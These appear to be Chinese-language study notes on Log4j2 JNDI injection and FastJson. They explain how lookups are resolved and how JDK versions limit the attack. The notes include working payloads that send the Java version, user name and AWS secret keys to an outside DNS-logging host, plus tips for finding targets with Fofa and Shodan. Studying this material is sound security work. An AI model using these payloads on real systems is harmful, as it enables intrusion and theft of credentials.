跳到主要内容

JNDI&log4j&fastjson

Java-第三方组件-Log4J&JNDI

Log4j简介

Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

Log4j就是一个Java的第三方组件,用来对日志进行处理,如果项目有日志需求,就有可能用到Log4j。

历史漏洞:https://avd.aliyun.com/search?q=Log4j

源码分析

源码分析的时候可以发现 substitute 函数是循环嵌套解析的。例如payload为${jndi:ldap://${java:version}.u2xf5m.dnslog.cn},那么log4j2 就会先取出 ${} 中的内容变为 jndi:ldap://${java:version}.u2xf5m.dnslog.cn 然后再通过正则匹配 ${} 如果还存在又会调用 this.substitute 来进行重新处理,然后就会对 java:version 进行处理,截取冒号前的字符串,然后从 strlookups 中获取对应的 Lookup,并调用其 lookup 方法

大致流程如下:

${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}
=> jndi:ldap://${java:version}.u2xf5m.dnslog.cn
=> ${java:version} => java:version => Java version 1.8.0_20
=> jndi:ldap://Java version 1.8.0_20.u2xf5m.dnslog.cn
=> DNS Query Record :Java version 1.8.0_20.u2xf5m.dnslog.cn (dnslog 收到结果)

Lookup

这块可以结合一下官方文档及一个项目:https://logging.apache.org/log4j/2.x/manual/lookups.html、https://github.com/jas502n/Log4j2-CVE-2021-44228

在官方文档中介绍了各种不同类型的 Lookup ,下面简单列几个

ENV

可以通过 env 来获取环境变量中的一些信息

${jndi:ldap://${env:USER}.d0j226.dnslog.cn}

获取一些云主机的 Key

${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.d0j226.dnslog.cn}

Java

${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}

由于 JNDI 注入高版本默认 codebase 为 true 所以可以通过这个方法来获取 jdk 版本从而选择不同的攻击方式

JNDI 注入简介

简单说,JNDI 就是一个 Java 自带的 API,可以实现远程打印、远程调用文件等。

下图中 JNDI 的下面有 LDAP 和 RMI 两个协议,这两个协议是在 JNDI 注入过程中经常用到的,可以实现远程调用执行 Java class 文件。

LDAP 是一种用于访问和维护分布式目录服务信息的协议,广泛用于身份认证、访问控制和共享资源等领域。RMI是一种允许在分布式系统中进行远程方法调用的协议。

img

触发JNDI 注入的原因

  • 开发源码中引用漏洞组件(如 Log4j),使用了组件里可能会触发漏洞的代码(如 log.error),并且有可控变量存在

判断注入点思路

  • Fofa、Shodan关键字搜 Log4j、根据返回包内容有无 Log4j 相关信息、页面报错信息等方式去判断对方有没有引用 Log4j
  • 通过 DNSLog 测试有无回连,比如构造 POC 为 ${jndi:ldap://xxx.dns.log} 去测试注入点

官方针对不同 JDK 版本做出了一些限制,也就是说,高版本的 JDK 会影响 JNDI 注入(RMI、LDAP),具体如下:

JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

img

img

RMI: JDK 6u132/7u122/8u113
LDAP: JDK 11.0.1/8u191/7u201/6u211

不回显处理办法

  • 直接将执行结果写入到静态资源文件里,如 HTML、JavaScript 等,然后访问
  • 通过 DNSLog 进行数据外带,但如果无法执行 DNS 请求就无法验证了
  • 接将命令执行结果回显到 HTTP 响应中
  • 构造报错(${jndi:ldap://x.x.x.x:${java:version}/xxx}

Java-第三方组件-FastJson&反射

FastJson 简介

FastJson 就是一个阿里巴巴开发的用做 Json 数据格式转换的 Java 第三方组件。在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

Java 其实是有原生 Json 数据格式转换的,但由于 FastJson 速度更快,效率更高,所以被广泛使用。

历史漏洞:https://avd.aliyun.com/search?q=fastjson

参考文档:

https://blog.csdn.net/qq_46081990/article/details/135082769

https://wjlshare.com/archives/1677

https://xz.aliyun.com/t/13793

https://xz.aliyun.com/t/8214